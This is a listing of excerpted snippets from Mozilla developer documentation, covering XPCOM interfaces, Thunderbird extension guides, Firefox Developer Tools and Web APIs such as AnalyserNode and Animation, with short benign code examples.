... you must not call any of the other parsing methods on the nsifeedprocessor interface during an asynchronous parse.
...this can be null.
nsIFileOutputStream
the deferred open will be performed when one of the following is called: seek() tell() write() flush() defer_open is useful if we use the stream on a background thread, so that the opening and possible stating of the file happens there as well.
... note: using this flag results in the file not being opened during the call to init().
... methods init() void init( in nsifile file, in long ioflags, in long perm, in long behaviorflags ); parameters file file to write to (must qi to nsilocalfile) ioflags file open flags listed are listed in the pr_open() documentation.
... use -1 to open the file in default mode (pr_wronly | pr_create_file | pr_truncate).
nsIFileView
if the treecol id is "filenamecolumn" fileview will return the file name, if the id is "lastmodifiedcolumn" it will return the date of last modification.
...the nsifileview provides a configuration interface to @mozilla.org/filepicker/fileview;1 , which also implements nsitreeview so that it can be passed as a tree view.
... sortdate 2 sort by the date of the last modification.
... id="filenamecolumn" label="name" flex="1" primary="true"/> <treecol id="lastmodifiedcolumn" label="date" flex="1"/> <treecol id="size" label="size" flex="1"/> </treecols> <treechildren/> </tree> <script> var dir="/home/"; //the directory to be opened var ftree = document.getelementbyid("ftree"); //the xul tree element var lfile = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile); lfile.initwithpath(dir); // open the directory var fview = components.classes["@mozilla.org/filepicker/fileview;1"] .createinstance(components.interfaces.nsifileview); //create an instance of the component tview = fview.queryinterface(components.interfaces.nsitreeview); //get the nsitreeview interface fview.setdir...
nsIGlobalHistory3
otherwise, nsiglobalhistory2.adduri() should be called with redirect=true.
... this function is preferred to nsiglobalhistory2.adduri() because it provides more information (including the redirect destination, channels involved, and redirect flags) to the history implementation.
...this notification must be sent for history consumers for all non-redirect pages.
...if they do so, then callers must call nsiglobalhistory2.adduri() upon getting the ns_error_not_implemented result.
nsIHttpActivityDistributor
or;1 as a service: var httpactivitydistributor = components.classes["@mozilla.org/network/http-activity-distributor;1"] .getservice(components.interfaces.nsihttpactivitydistributor); method overview void addobserver(in nsihttpactivityobserver aobserver); void removeobserver(in nsihttpactivityobserver aobserver); methods addobserver() begins delivery of notifications of http transport activity.
... void addobserver( in nsihttpactivityobserver aobserver ); parameters aobserver the nsihttpactivityobserver that should receive notifications of http transport activity; this object's nsihttpactivityobserver.observeactivity() method will be called each time activity occurs.
... removeobserver() stops delivery of notifications of http transport activity.
... void removeobserver( in nsihttpactivityobserver aobserver ); parameters aobserver the nsihttpactivityobserver that should no longer receive notifications of http transport activity.
nsIHttpUpgradeListener
netwerk/protocol/http/nsihttpchannelinternal.idlscriptable the callback interface for nsihttpchannelinternal.httpupgrade; this is called when an http protocol upgrade is finished.
...method overview void ontransportavailable(in nsisockettransport atransport, in nsiasyncinputstream asocketin, in nsiasyncoutputstream asocketout); methods ontransportavailable() called when an http protocol upgrade attempt is completed, passing in the information needed by the protocol handler to take over the channel that is no longer being used by http.
... note: to begin a protocol upgrade, call nsihttpchannelinternal.httpupgrade().
... void ontransportavailable( in nsisockettransport atransport, in nsiasyncinputstream asocketin, in nsiasyncoutputstream asocketout ); parameters atransport the nsisockettransport describing the socket connection between the browser and the server; this socket can now be used for the new protocol instead of http.
nsILoginInfo
this field is null for logins attained from protocol authentications and "" means to match against any form action.
...when an http server sends a 401 result, the www-authenticate header includes a realm to identify the "protection space." see rfc 2617.
...if one login's formsubmiturl is an empty string (but not null), it will be treated as a wildcard.
... a blank value indicates the login was stored before bug 360493 was fixed.
nsIMessageListener
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsisupports this interface is used to receive messages sent using the nsimessagebroadcaster, nsimessagesender, or nsisyncmessagesender interfaces.
...this function receives a message from one of the three message-sending functions in the message manager framework: broadcastasyncmessage sendasyncmessage sendsyncmessage.
...deprecated.
...when the listener is called, 'this' value is the target of the message.
nsIMicrosummary
since generators and pages can be remote resources, and we need them to generate the content, this may not always be available.
... needsremoval boolean used when a site author has indicated that a microsummary (or an associated generator) will no longer be available.
... updateinterval long the minimum interval after which this microsummary would like to be refreshed or null if it doesn't care.
...if you want know when a microsummary finishes updating, add an observer before calling this method.
nsIMsgCompFields
properties attribute type description attachments char * obsolete attachments obsolete, do not use anymore attachmentsarray nsisupportsarray readonly attachvcard prbool bcc astring body astring bodyisasciionly prbool cc astring characterset char * defaultcharacterset char * readonly drafid char * dsn prbool fcc astring fcc2 astring followupto char * forcemsgencoding prbool forceplainte...
...xt prbool from astring hasrecipients prbool readonly new in thunderbird 23 indicates whether something is filled in in the to, cc, or bcc attribute.
... (bug 68784) messageid char * needtocheckcharset prbool indicates whether we need to check if the current documentcharset can represent all the characters in the message body.
...oveattachment ( in nsimsgattachment attachment ); void removeattachments ( ); header methods void setheader(char* name, char* value); references this interface is the type of the following properties: nsimsgcompose.compfields, nsimsgcomposeparams.composefields this interface is passed as an argument to the following methods: nsimsgcomposesecure.begincryptoencapsulation, nsimsgcomposesecure.requirescryptoencapsulation, nsimsgsend.createandsendmessage, nsimsgsend.sendmessagefile, nsismimejshelper.getnocertaddresses, nsismimejshelper.getrecipientcertsinfo ...
nsIMsgWindowCommands
method overview void selectfolder(in acstring folderuri); void selectmessage(in acstring messageuri); void clearmsgpane(); methods selectfolder() this method is called by the backend to change the folder displayed in the message window.
... selectmessage() this method is called by the backend to change the displayed message.
... for instance, when deleting attachments, this causes the message to be redisplayed.
... clearmsgpane() this method is called by the backend when it wants to clear the message pane, for instance if you select the group header .
nsIPrompt
netwerk/base/public/nsiprompt.idlscriptable this is the prompt interface which can be used without knowledge of a parent window.
... inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note: this interface is identical to nsipromptservice but without the parent nsidomwindow parameter.
...normally you would use the prompt service as it is more flexible, but sometimes a callback will request an nsiprompt via nsiinterfacerequestor.getinterface().
... to get an instance, call the nsiwindowwatcher.getnewprompter().
nsISSLErrorListener
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) note: the recipient of this ssl status notification should not block.
... method overview boolean notifysslerror(in nsiinterfacerequestor socketinfo, in print32 error, in autf8string targetsite); methods notifysslerror() called in case of an ssl error.
... boolean notifysslerror( in nsiinterfacerequestor socketinfo, in print32 error, in autf8string targetsite ); parameters socketinfo a network communication context that can be used to obtain more information about the active connection.
... return value the consumer shall return true if it wants to suppress the error message related to the error (the connection will still get canceled).
nsISocketProvider
for example, an ssl connection would not send any client-certificates if this flag is set.
... methods native code only!addtosocket this function is called to allow the socket provider to layer a prfiledesc (a file descriptor) on top of another prfiledesc.
...this object typically implements nsitransportsecurityinfo.
...this object typically implements nsitransportsecurityinfo.
nsIStandardURL
ce, use: var standardurl = components.classes["@mozilla.org/network/standard-url;1"] .createinstance(components.interfaces.nsistandardurl); method overview void init(in unsigned long aurltype, in long adefaultport, in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type description mutable boolean control whether or not this url can be modified.
... protocol handlers can set this flag before handing out an url to ensure that it is not inadvertently modified.
...adefaultport if the port parsed from the url string matches this port, then the port will be removed from the canonical form of the url.
...this corresponds to the charset that should be used when communicating this uri to an origin server, for example.
nsIThreadInternal
the observer will be released on the thread corresponding to this thread object after all other events have been processed during a call to shutdown.
... methods popeventqueue() reverts a call to pusheventqueue().
... pusheventqueue() causes any events currently enqueued on the thread to be suppressed until popeventqueue() is called.
... calls to pusheventqueue() may be nested, and must each be paired with a corresponding call to popeventqueue() to restore the original state of the thread.
nsITransactionList
the list returned is addref'd so it is up to the caller to release the transaction when it is done.
...note that a null can be returned here if the item is a batch.
... the transaction returned is addref'd so it is up to the caller to release the transaction when it is done.
...however, you can still access the transactions contained in the batch with a call to getchildlistforitem().
nsIUUIDGenerator
xpcom/base/nsiuuidgenerator.idlscriptable this interface can be used to generate an id that can be considered globally unique, often referred to as a uuid or guid.
... methods generateuuid() obtains a new uuid using appropriate platform-specific methods to obtain a nsid that can be considered to be globally unique.
...exceptions thrown ns_error_failure if a uuid cannot be generated (for example if an underlying source of randomness is not available) native code only!generateuuidinplace obtain a new uuid like the generateuuid() method, but place it in the provided nsid pointer instead of allocating a new nsid.
... exceptions thrown ns_error_failure if a uuid cannot be generated (for example if an underlying source of randomness is not available) example generating a uuid var uuidgenerator = components.classes["@mozilla.org/uuid-generator;1"] .getservice(components.interfaces.nsiuuidgenerator); var uuid = uuidgenerator.generateuuid(); var uuidstring = uuid.tostring(); ...
nsIUpdateCheckListener
irefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void oncheckcomplete(in nsixmlhttprequest request, [array, size_is(updatecount)] in nsiupdate updates, in unsigned long updatecount); void onerror(in nsixmlhttprequest request, in nsiupdate update); void onprogress(in nsixmlhttprequest request, in unsigned long position, in unsigned long totalsize); methods oncheckcomplete() called when the update check is completed.
... onerror() called when an error occurs while loading the remote update service file.
... onprogress() called every time there is a progress notification loading the update service file.
... see also nsiupdatepatch nsiupdate nsiupdatechecker nsiapplicationupdateservice nsiupdatemanager nsiupdateprompt nsiupdatetimermanager ...
nsIWebBrowserChrome2
1.0 66 introduced gecko 1.9 inherits from: nsiwebbrowserchrome last changed in gecko 1.9 (firefox 3) method overview void setstatuswithcontext(in unsigned long statustype, in astring statustext, in nsisupports statuscontext); methods setstatuswithcontext() called when the status text in the chrome needs to be updated.
... this method may be called instead of nsiwebbrowserchrome.setstatus().
...void setstatuswithcontext( in unsigned long statustype, in astring statustext, in nsisupports statuscontext ); parameters statustype indicates what is setting the text.
...this value can be null if there is no context.
nsIWifiListener
netwerk/wifi/nsiwifilistener.idlscriptable this interface is implemented by clients interested in receiving notifications when the list of available wifi access points changes.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void onchange([array, size_is(alen)] in nsiwifiaccesspoint accesspoints, in unsigned long alen); void onerror(in long error); methods onchange() called when the list of available access points changes.
... onerror() called when an error occurs while updating the wifi access point list.
... void onerror( in long error ); parameters error the nsresult value indicating the error that occurred.
nsIWifiMonitor
netwerk/wifi/nsiwifimonitor.idlscriptable this interface can be used to be alerted when the list of available wifi access points changes.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) this is used, for example, by geolocation to use wifi access points for location detection.
...void startwatching( in nsiwifilistener alistener ); parameters alistener the nsiwifilistener object to receive notifications when the wifi access point list changes.
...void stopwatching( in nsiwifilistener alistener ); parameters alistener the nsiwifilistener object to stop receiving notifications on.
nsIWinAppHelper
method overview void fixreg(); obsolete since gecko 1.9 void postupdate(in nsilocalfile logfile); obsolete since gecko 1.9.2 attributes attribute type description usercanelevate boolean read only.
... returns true only if all the following conditions are all true at once: the operating system is at least windows vista user account control is enabled the user is an administrator the application is not already running with elevated permissions otherwise it returns false.
...this updates the uninstallation log so that the application can be uninstalled correctly after an update.
... void postupdate( in nsilocalfile logfile ); parameters logfile the file to use for the uninstallation log.
nsIWindowsShellService
obsolete since gecko 1.8 hklm 3 hkey_local_machine.
...asubkeyname the sub key to locate.
... avaluename the value to locate in the sub key.
... return value the value of the specified sub key/value, truncated to 4096 bytes.
nsIWorkerMessageEvent
1.0 66 introduced gecko 1.9.1 inherits from: nsidomevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void initmessageevent(in domstring atypearg, in boolean acanbubblearg, in boolean acancelablearg, in domstring adataarg, in domstring aoriginarg, in nsisupports asourcearg); attributes attribute type description data domstring the event's data.
... void initmessageevent( in domstring atypearg, in boolean acanbubblearg, in boolean acancelablearg, in domstring adataarg, in domstring aoriginarg, in nsisupports asourcearg ); parameters atypearg the event type.
... acanbubblearg whether or not the event can bubble.
... acancelablearg whether or not the event can be canceled.
nsIXULBrowserWindow
xpfe/appshell/public/nsixulbrowserwindow.idlscriptable provides methods that may be called from the internals of the browser area to tell the containing xul window to update its user interface.
...method overview astring onbeforelinktraversal(in astring originaltarget, in nsiuri linkuri, in nsidomnode linknode, in prbool isapptab); void setjsdefaultstatus(in astring status); void setjsstatus(in astring status); void setoverlink(in astring link, in nsidomelement element); methods onbeforelinktraversal() called before traversing a link to determine the appropriate target into which to load the link.
...linknode the nsidomnode representing the dom node in which the link is located.
... return value a string indicating the revised target for the link.
NS_CStringContainerInit
with ns_cstringcontainerinit, the coder is required to call ns_cstringcontainerfinish when done with the nscstringcontainer object.
... therefore, it is generally better to use nsembedcstring, to instantiate a nsacstring object, since it automatically releases allocated memory when the object goes out of scope.
... example nscstringcontainer str; if (ns_succeeded(ns_cstringcontainerinit(str))) { // now, |str| can be used with any function taking a nsacstring parameter.
... // call this function to release any memory owned by |str| when done.
XPCOM string functions
this is a low-level api.ns_cstringclonedatathe ns_cstringclonedata function returns a null-terminated, heap allocated copy of the string's internal buffer.ns_cstringcontainerfinishthe ns_cstringcontainerfinish function releases any memory allocated by a nscstringcontainer instance.ns_cstringcontainerinitthe ns_cstringcontainerinit function initializes a nscstringcontainer instance for use as a nsacstring.ns_cstringcontainerinit2the ns_cstringcontainerinit2 function initializes a nscstringcontainer instance fo...
...this is a low-level api.ns_cstringgetdatathe ns_cstringgetdata function gives the caller read access to the string's internal buffer.ns_cstringgetmutabledatathe ns_cstringgetmutabledata function gives the caller write access to the string's internal buffer.ns_cstringinsertdatathe ns_cstringinsertdata function appends data to the existing value of a nsacstring instance.
...this is a low-level api.ns_stringclonedatathe ns_stringclonedata function returns a null-terminated, heap allocated copy of the string's internal buffer.ns_stringcontainerfinishthe ns_stringcontainerfinish function releases any memory allocated by a nsstringcontainer instance.
...this is a low-level api.ns_stringgetdatathe ns_stringgetdata function gives the caller access to the string's internal buffer.
The Thread Manager
application/extension javascript should consider using a chromeworker instead.") interfaces there are several interfaces that provide threading support: nsithreadmanager the thread manager itself lets you create threads.
... nsithread the nsithread interface encapsulates an operating system thread, providing easy cross-platform access to multithreading in your code.
... nsithreadobserver provides the ability to monitor a thread, to receive notifications when events are dispatched to it and when they're finished being processed.
... tutorials making cross-thread calls using runnables ...
Using nsIPasswordManager
zachlipton 22:52, 18 july 2006 (pdt) the code on this page will work with applications using toolkit 1.8 and below such as firefox 2.0.0.x and thunderbird 2.0.0.x.
...working with password manager extensions often need to securely store passwords to external sites, web applications, and so on.
... to do so securely, they can use nsipasswordmanager, which provides for secure storage of sensitive password information.
... alert(pass.user); // the username alert(pass.password); // the password break; } } catch (ex) { // do something if decrypting the password failed--probably a continue } } note that the user will be prompted for their master password if they have chosen to set one to secure their passwords.
Account Provisioner
if the user already has an email account, the user can switch to the original account setup wizard.
...logs can either be dumped to the terminal via dump, or to the error console.
... to have logs dumped to the terminal, create a string preference called mail.provider.logging.dump and set its value to all.
... to have logs dumped to the error console, create a string preference called mail.provider.logging.console and set its value to all.
Events
there are a lot of events that can be fired in mail code.
...others are internal to gecko or other parts of mozilla application code.
... compose-send-message a message gets sent compose-window-close a compose window gets closed compose-window-init a compose window has been opened compose-window-reopen a cached compose window has been reopened.
... no load event is fired in this case.
Adding items to the Folder Pane
the folder pane tracks modifications to a user's folders and accounts.
... each time the folder pane determines that it is necessary to invalidate all its data (because of too many changes, or more commonly because the folder pane's "mode" (aka view) has changed), a "rebuild" occurs.
...the following code snippet listens for that event: let gnumbersext = { load: function gne_load() { window.removeeventlistener("load", gnumbersext.load, false); let tree = document.getelementbyid("foldertree"); tree.addeventlistener("maprebuild", gnumbersext._insert, false); }, _insert: function gne__insert() { // this function is called when a rebuild occurs } }; window.addeventlistener("load", gnumbersext.load, true); the structure of folder-tree-items the folder pane stores its current display data in a property called _rowmap.
...must persist over sessions text (attribute) the text to display in the tree level (attribute) the level in the tree to display the item at open (rw, attribute) whether or not this container is open children (attribute) an array of child items also conforming to this spec getproperties (function) a call from getrowproperties or getcellproperties for this item will be passed into this function command (function) this function will be called when the item is double-clicked for our example extension, two different types of folder-tree-items will be defined.
Filter Incoming Mail
the, you've got components.interfaces.nsimsgdbhdr from where you can modify the mail.
...by example, setting it to lower case subject = subject.tolocalelowercase(); // then we rebuild a subject objet by rencoding the string // and assign it to the message headers and we're done amsghdr.subject = mimeconvert.encodemimepartiistr_utf8(subject, false, "utf-8", 0, 72); } } }; function init() { var notificationservice = components.classes["@mozilla.org/messenger/msgnotificationservice;1...
..."] .getservice(components.interfaces.nsimsgfoldernotificationservice); notificationservice.addlistener(newmaillistener, notificationservice.msgadded); } addeventlistener("load", init, true); have a look to nsimsgdbhdr to get the full list of properties to be modified.
... you can take a look at a working code in the capskiller add-on repository.
Folders and message lists
interacting with the current folder the folderdisplaywidget for the current folder can be accessed via the global variable gfolderdisplay.
...when using this, be sure that there's only one selected message (or that you only care about the first one).
... changing the current message selection in addition to getting the currently-selected messages, you can also change the selection: gfolderdisplay.selectmessage(msghdr): selects a single message, as specified by msghdr (an nsimsgdbhdr) and scrolls to its position in the message list.
... listing messages in a folder if you have a message folder, and would like to list all the messages in that folder, you can use the .messages attribute, which returns an nsisimpleenumerator.
Tips and Tricks from the newsgroups
we will add a categorization system as the link list grows.
... you can also help by creating how-tos from any of these topics.
... extensions load an extension in its own tab run shell scripts from an extension (for example, to create a symlink) get extension metadata call java from thunderbird extensions (also an example here, written for firefox but compatible with thunderbird 3.x) define a custom protocol handler to call an external program save attachment and send it repeat image display using css sprites messages use reminderfox to open a message in the default thunderbird message window (when messageuri, folderuri and gdbview are unknown) determine whether a message has been flagged as junk imap: getting message key of copied message by nsimsgcopyservice::copyfilemessage access the plain text content of the email body get information about attachment without s...
...electing message repeat image display using css sprites scan for new messages at startup and manually scan a folder initiated by user force listeners to run consecutively to prevent pop messages from getting garbled during message retrieval ...
Toolkit version format
versions in at least the following places must conform to this format: addon's and target application's version in install and update manifests.
... application.ini in xulrunner applications appversion flag in chrome manifests.
... you can use nsiversioncomparator to compare versions from your application.
...== 1.0 == 1.0.0 < 1.1a < 1.1aa < 1.1ab < 1.1b < 1.1c < 1.1pre == 1.1pre0 == 1.0+ < 1.1pre1a < 1.1pre1aa < 1.1pre1b < 1.1pre1 < 1.1pre2 < 1.1pre10 < 1.1.-1 < 1.1 == 1.1.0 == 1.1.00 < 1.10 < 1.* < 1.*.1 < 2.0 technical reference for those interested in seeing the implementation of toolkit version comparison, see nsversioncomparator.cpp.
Memory Management
pointers to that memory must be carefully managed to make sure the underlying memory is still referenced.
... when binary code hands back a pointer/handle to allocated memory, the js code must make sure to free that memory with the correct allocator.
... closures you also need to be sure to retain references to any javascript code that native code may call back into.
... when in doubt, malloc() when you need to keep data around, you can use malloc() to allocate it directly.
PointerType
this can be any ctype object to declare the new type as a pointer to that type.
...this is the result of calling ctypes.pointertype(the_type).
... return value a cdata representing the newly allocated pointer.
...this will throw a typeerror exception if the value can't be converted.
js-ctypes
js-ctypes allows application and extension code to call back and forth to native code written in c.
... note: js-ctypes is only available from chrome code; that is, ctypes is not available to websites, only application and extension code.
... using js-ctypes ctypes.open custom native file standard os libraries finding window handles working with data working with arraybuffers declaring types declaring and calling functions declaring and using callbacks type conversion memory management chromeworker js-ctypes reference a reference guide to the js-ctypes api.
... examples add to iphoto a firefox extension that uses js-ctypes to call carbon and core foundation framework routines on mac os x to implement an "add image to iphoto" feature in firefox.
Constants - Plugins
nperr_out_of_memory_error 5 memory allocation failed.
... nperr_incompatible_version_error 8 versions of plug-in and communicator do not match.
... npres_user_break 2 user canceled stream directly by clicking the stop button or indirectly by some action such as deleting the instance or initiating higher-priority network operations.
... npvers_has_notification 9 notification of completion.
Plugins
plugins are shared libraries that users can install to display content that the browser can't display natively.
... also from firefox 55 onwards, flash and other plugins can no longer be loaded from any url scheme except for http:// and https:// (bug 1335475).
... see also flash can now be loaded only from http/https for more useful information.
... flash activation: browser comparison each browser activates flash slightly differently, which can be confusing for users and web authors.
Ignore a source - Firefox Developer Tools
in modern web development, we often rely on libraries like jquery, ember, or angular, and 99% of the time we can safely assume that they “just work”.
... we don’t care about the internal implementation of these libraries.
...however, you can tell the debugger to ignore the details of selected sources.
... you can enable or disable ignoring a source file in a couple of ways: in the source list pane, right-click the filename and choose ignore source (or unignore source).
Step through code - Firefox Developer Tools
when the debugger is stopped at a breakpoint, you can step through it using four buttons in the toolbar: in order, the buttons are: play: run to the next breakpoint step over: advance to the next line in the same function.
... step in: advance to the next line in the function, unless on a function call, in which case enter the function being called step out: run to the end of the current function, in which case, the debugger will skip the return value from a function, returning execution to the caller split console when paused, you can press the esc key to open and close the split console to gain more insight into errors and variables: pause on breakpoints overlay since firefox 70, when your code is paused on a breakpoint an overlay appears on the viewport of the tab you are debugging.
...the thinking here is that if you've got your devtools open in a separate window, as many people do, it can be easier to have the buttons available right there to move the code forward while you are looking at the result.
... if you want to turn this feature off, since firefox 71 you can do so by going to about:config in a new tab, setting the devtools.debugger.features.overlay pref to false, and restarting the browser.
JSON viewer - Firefox Developer Tools
if you open a json file in the browser, or view a remote url with the content-type set to application/json, it is parsed and given syntax highlighting.
... arrays and objects are shown collapsed, and you can expand them using the "+" icons.
... the json viewer provides a search box that you can use to filter the json.
... you can also view the raw json and pretty-print it.
Reposition elements in the page - Firefox Developer Tools
new in firefox 48 starting in firefox 48 you can move absolutely positioned elements by dragging them around the page.
... if an element has its position property set to absolute, relative or fixed and one or more of the top, bottom , left or right properties, the box model view displays a button: if you click that button, two handles appear next to the element: you can use these handles to drag the element around the page.
...for relatively positioned elements the dashed lines indicate the original position of the node.
... the offsets are indicated by a line and a tooltip for each side.
Debugging Firefox Desktop - Firefox Developer Tools
this guide explains how you can use the firefox developer tools to debug a different instance of desktop firefox running on the same machine.
... in this guide, the instance of firefox being debugged is called the debuggee, and the instance of firefox doing the debugging is called the debugger.
...to use a different port, pass the desired port number: /path/to/firefox --start-debugger-server 1234 note: in windows, the start-debugger-server call will only have one dash: firefox.exe -start-debugger-server 1234 note: by default, and for security reasons, the devtools.debugger.force-local option is set.
... if you want to debug a firefox instance from an external machine, you can change this option, but only do this on a trusted network or set a strong firewall rule to lock down which machines can access it.
Tips - Firefox Developer Tools
network monitor click the request summary to compare performance of cache vs.
... no-cache page loading.
... hover the "js" icon within the "cause" column to see the javascript stack trace, which caused the request.
... check "disable http cache (when toolbox is open)" in the settings to disable the network cache while debugging network issues.
Validators - Firefox Developer Tools
checky checky adds a submenu to your netscape or mozilla context menu that allows you to run whatever page you're on through one of (currently) 18 different online validaton and analysis services.
... applications and services devedge web tune-up wizard this interface to w3c services guides beginning-to-intermediate web authors through the process of updating content to support netscape 7.x, mozilla and other browsers that support w3c standards.
... html tidy html tidy is a tool that can be used to report errors in an html page and to format web pages for better reading.
... accessibility services lynx viewer checks a web page using lynx visualization and allows validation of accessibility features original document information last updated date: august 16th, 2002 copyright © 2001-2003 netscape.
AbortController.AbortController() - Web APIs
this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener.
... }).catch(function(e) { reports.textcontent = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with an aborterror.
... you can find a full working example on github — see abort-api (see it running live also).
... specifications specification status comment domthe definition of 'abortcontroller()' in that specification.
AbortController.abort() - Web APIs
this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener.
... }).catch(function(e) { reports.textcontent = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with an aborterror.
... you can find a full working example on github — see abort-api (see it running live also).
... specifications specification status comment domthe definition of 'abort()' in that specification.
AmbientLightSensor - Web APIs
if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... example if ( 'ambientlightsensor' in window ) { const sensor = new ambientlightsensor(); sensor.onreading = () => { console.log('current light level:', sensor.illuminance); }; sensor.onerror = (event) => { console.log(event.error.name, event.error.message); }; sensor.start(); } specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... ambient light sensorthe definition of 'ambientlightsensor' in that specification.
... candidate recommendation ...
AnalyserNode.frequencyBinCount - Web APIs
for technical reasons related to how the fast fourier transform is defined, it is always half the value of analysernode.fftsize.
... example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input.
... analyser.fftsize = 256; var bufferlength = analyser.frequencybincount; console.log(bufferlength); var dataarray = new uint8array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { drawvisual = requestanimationframe(draw); analyser.getbytefrequencydata(dataarray); canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, width, height); var barwidth = (width / bufferlength) * 2.5 - 1; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasct...
...x.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.fillrect(x,height-barheight/2,barwidth,barheight/2); x += barwidth; } }; draw(); specifications specification status comment web audio apithe definition of 'frequencybincount' in that specification.
AnalyserNode.getFloatFrequencyData() - Web APIs
if you need higher performance and don't care about precision, you can use analysernode.getbytefrequencydata() instead, which works on a uint8array.
...while the audio is playing, we collect the frequency data repeatedly with requestanimationframe() and draw a "winamp bargraph style" to a <canvas> element.
...'; const audiosourcenode = audioctx.createmediaelementsource(audioele); //create analyser node const analysernode = audioctx.createanalyser(); analysernode.fftsize = 256; const bufferlength = analysernode.frequencybincount; const dataarray = new float32array(bufferlength); //set up audio node network audiosourcenode.connect(analysernode); analysernode.connect(audioctx.destination); //create 2d canvas const canvas = document.createelement('canvas'); canvas.style.position = 'absolute'; canvas.style.top = 0; canvas.style.left = 0; canvas.width = window.innerwidth; canvas.height = window.innerheight; document.body.appendchild(canvas); const canvasctx = canvas.getcontext('2d'); canvasctx.clearrect(0, 0, canvas.width, canvas.height); function draw() { //schedule next redraw requestanimati...
...onframe(draw); //get spectrum data analysernode.getfloatfrequencydata(dataarray); //draw black background canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, canvas.width, canvas.height); //draw spectrum const barwidth = (canvas.width / bufferlength) * 2.5; let posx = 0; for (let i = 0; i < bufferlength; i++) { const barheight = (dataarray[i] + 140) * 2; canvasctx.fillstyle = 'rgb(' + math.floor(barheight + 100) + ', 50, 50)'; canvasctx.fillrect(posx, canvas.height - barheight / 2, barwidth, barheight / 2); posx += barwidth + 1; } }; draw(); </script> </body> specifications specification status comment web audio apithe definition of 'getfloatfrequencydata()' in that specification.
AnalyserNode.getFloatTimeDomainData() - Web APIs
example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input.
... analyser.fftsize = 1024; var bufferlength = analyser.fftsize; console.log(bufferlength); var dataarray = new float32array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { drawvisual = requestanimationframe(draw); analyser.getfloattimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.linewidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; canvasctx.beginpath(); var slicewidth = width * 1.0 / bufferlength; var x = 0; for(var i = 0;...
... i < bufferlength; i++) { var v = dataarray[i] * 200.0; var y = height/2 + v; if(i === 0) { canvasctx.moveto(x, y); } else { canvasctx.lineto(x, y); } x += slicewidth; } canvasctx.lineto(canvas.width, canvas.height/2); canvasctx.stroke(); }; draw(); parameters array the float32array that the time domain data will be copied to.
... specifications specification status comment web audio apithe definition of 'getfloattimedomaindata()' in that specification.
Animation.finish() - Web APIs
WebAPIAnimationfinish
that is, if the animation is playing forward, it sets the playback time to the length of the animation sequence, and if the animation is playing in reverse (having had its reverse() method called), it sets the playback time to 0.
... examples the following example shows how to use the finish() method and catch an invalidstate error.
... interfaceelement.addeventlistener("mousedown", function() { try { player.finish(); } catch(e if e instanceof invalidstate) { console.log("finish() called on paused or finished animation."); } catch(e); logmyerrors(e); //pass exception object to error handler } }); the following example finishes all the animations on a single element, regardless of their direction of playback.
... elem.getanimations().foreach( function(animation){ return animation.finish(); } ); specifications specification status comment web animationsthe definition of 'finish()' in that specification.
Animation.onfinish - Web APIs
the finish event occurs when the animation completes naturally, as well as when the animation.finish() method is called to immediately cause the animation to finish up.
...you can force the animation into the "finished" state by setting its starttime to document.timeline.currenttime - (animation.currenttime * animation.playbackrate).
... syntax var finishhandler = animation.onfinish; animation.onfinish = finishhandler; value a function to be called to handle the finish event, or null if no finish event handler is set.
...hide(endingui); // when the credits are later faded in, // we re-add the pointer events when they're done bringui.onfinish = function() { endingui.style.pointerevents = 'auto'; }; specifications specification status comment web animationsthe definition of 'animation.onfinish' in that specification.
Animation.onremove - Web APIs
syntax var removehandler = animation.onremove; animation.onremove = removehandler; value a function to be called to handle the remove event, or null if no remove event handler is set.
... examples in our simple replace indefinite animations demo, you can see the following code: const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.commitstyles(); //anim.persist() anim.onremove = function() { console.log('animation removed'); } console.log(anim.replacestate); }); here we have a <div> element, and an event listener that fires the event handler code whenever the mouse moves.
...for this reason, modern browsers automatically remove overriding forward filling animations.
... specifications specification status comment web animationsthe definition of 'animation.onremove' in that specification.
Animation.playState - Web APIs
previously, web animations defined a pending value to indicate that some asynchronous operation such as initiating playback was yet to complete.
... this is now indicated by the separate animation.pending property.
... example in the growing/shrinking alice game example, players can get an ending with alice crying into a pool of tears.
... tears.foreach(function(el) { el.pause(); el.currenttime = 0; }); specifications specification status comment web animationsthe definition of 'playstate' in that specification.
Animation.reverse() - Web APIs
WebAPIAnimationreverse
if called on an unplayed animation, the whole animation is played backwards.
... if called on a paused animation, the animation will continue in reverse.
